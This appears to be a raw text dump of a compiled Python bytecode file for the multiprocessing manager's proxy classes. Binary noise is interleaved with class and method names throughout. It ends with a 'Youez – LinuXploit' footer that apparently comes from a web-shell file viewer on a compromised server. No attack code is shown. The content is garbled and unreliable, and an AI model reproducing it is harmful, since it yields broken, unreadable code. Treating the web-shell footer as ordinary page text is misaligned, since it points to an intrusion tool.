AcquirerProxy�acquire�releaseTNcCs1|dkr|fn	||f}|jd|�S)Nr)r�)r%�blockingr�r5rrrr�s!zAcquirerProxy.acquirecCs
|jd�S)Nr)r�)r%rrrr�szAcquirerProxy.releasecCs
|jd�S)Nr)r�)r%rrrr��szAcquirerProxy.__enter__cCs
|jd�S)Nr)r�)r%r�r�r�rrrr��szAcquirerProxy.__exit__)rr)r+r-r.r�rrr�r�rrrrr�s
rc@sLeZdZdZddd�Zd	d
�Zdd�Zdd
d�ZdS)�ConditionProxyrrrm�notify�
notify_allNcCs|jd|f�S)Nrm)r�)r%r�rrrrm�szConditionProxy.waitcCs
|jd�S)Nr)r�)r%rrrr�szConditionProxy.notifycCs
|jd�S)Nr)r�)r%rrrr�szConditionProxy.notify_allcCs�|�}|r|S|dk	r/t�|}nd}d}xF|s�|dk	rj|t�}|dkrjP|j|�|�}q>W|S)Nr)�_timerm)r%�	predicater�r8�endtime�waittimerrr�wait_for�s		


zConditionProxy.wait_for)rrrmrr)r+r-r.r�rmrrr rrrrr�s
rc@sIeZdZdZdd�Zdd�Zd	d
�Zddd
�ZdS)�
EventProxyrlr�r�rmcCs
|jd�S)Nrl)r�)r%rrrrl�szEventProxy.is_setcCs
|jd�S)Nr�)r�)r%rrrr��szEventProxy.setcCs
|jd�S)Nr�)r�)r%rrrr��szEventProxy.clearNcCs|jd|f�S)Nrm)r�)r%r�rrrrm�szEventProxy.wait)rlr�r�rm)r+r-r.r�rlr�r�rmrrrrr!�s
r!c@sseZdZdZddd�Zdd	�Zd
d�Zedd
��Zedd��Z	edd��Z
dS)�BarrierProxy�__getattribute__rm�abort�resetNcCs|jd|f�S)Nrm)r�)r%r�rrrrm�szBarrierProxy.waitcCs
|jd�S)Nr$)r�)r%rrrr$�szBarrierProxy.abortcCs
|jd�S)Nr%)r�)r%rrrr%�szBarrierProxy.resetcCs|jdd�S)Nr#�parties)r&)r�)r%rrrr&�szBarrierProxy.partiescCs|jdd�S)Nr#�	n_waiting)r')r�)r%rrrr'�szBarrierProxy.n_waitingcCs|jdd�S)Nr#�broken)r()r�)r%rrrr(�szBarrierProxy.broken)r#rmr$r%)r+r-r.r�rmr$r%r�r&r'r(rrrrr"�sr"c@s:eZdZdZdd�Zdd�Zdd	�Zd
S)�NamespaceProxyr#�__setattr__�__delattr__cCsB|ddkr tj||�Stj|d�}|d|f�S)NrrGr�r#)�objectr#)r%r��
callmethodrrr�__getattr__�szNamespaceProxy.__getattr__cCsH|ddkr#tj|||�Stj|d�}|d||f�S)NrrGr�r*)r,r*r#)r%r�r�r-rrrr*�szNamespaceProxy.__setattr__cCsB|ddkr tj||�Stj|d�}|d|f�S)NrrGr�r+)r,r+r#)r%r�r-rrrr+�szNamespaceProxy.__delattr__N)r#r*r+)r+r-r.r�r.r*r+rrrrr)�sr)c@s=eZdZdZdd�Zdd�Zeee�ZdS)	�
ValueProxyr�r�cCs
|jd�S)Nr�)r�)r%rrrr�szValueProxy.getcCs|jd|f�S)Nr�)r�)r%r�rrrr�	szValueProxy.setN)r�r�)r+r-r.r�r�r�r�r�rrrrr/sr/�
BaseListProxy�__add__�__contains__�__delitem__�__getitem__�__len__�__mul__�__reversed__�__rmul__�__setitem__rC�count�extend�index�insertr�remove�reverser��__imul__c@s(eZdZdd�Zdd�ZdS)�	ListProxycCs|jd|f�|S)Nr;)r�)r%r�rrr�__iadd__szListProxy.__iadd__cCs|jd|f�|S)Nr@)r�)r%r�rrrr@szListProxy.__imul__N)r+r-r.rBr@rrrrrAsrA�	DictProxyr�r�r�Zhas_key�popitem�
setdefaultr
�
ArrayProxy�	PoolProxyZapplyZapply_asyncr��imapZimap_unorderedr��mapZ	map_async�starmapZ
starmap_asyncr�ZAsyncResult�Iteratorc@s(eZdZdd�Zdd�ZdS)rGcCs|S)Nr)r%rrrr�5szPoolProxy.__enter__cCs|j�dS)N)r�)r%r�r�r�rrrr�7szPoolProxy.__exit__N)r+r-r.r�r�rrrrrG4sc@seZdZdS)rN)r+r-r.rrrrr>s	�Queue�
JoinableQueuerd�Lockr^�	Semaphore�BoundedSemaphore�	Condition�Barrier�Poolr�dictr�r�F)I�__all__rpr]r�queuerrr�r�r	r
rrr
rrrr�Z
view_typesrr!Z	view_typer,rr9r2r~r:rFrHrIr�rarb�XmlListener�	XmlClientrYrr�r�rr�rr�r	rrrrrr!r"r)r/r0rArCrFZ
BasePoolProxyr�rGrrLrdrNr^rOrPrQrRrSrTrrrr�<module>s�


��
�
		


Youez - 2016 - github.com/yon3zu
LinuXploit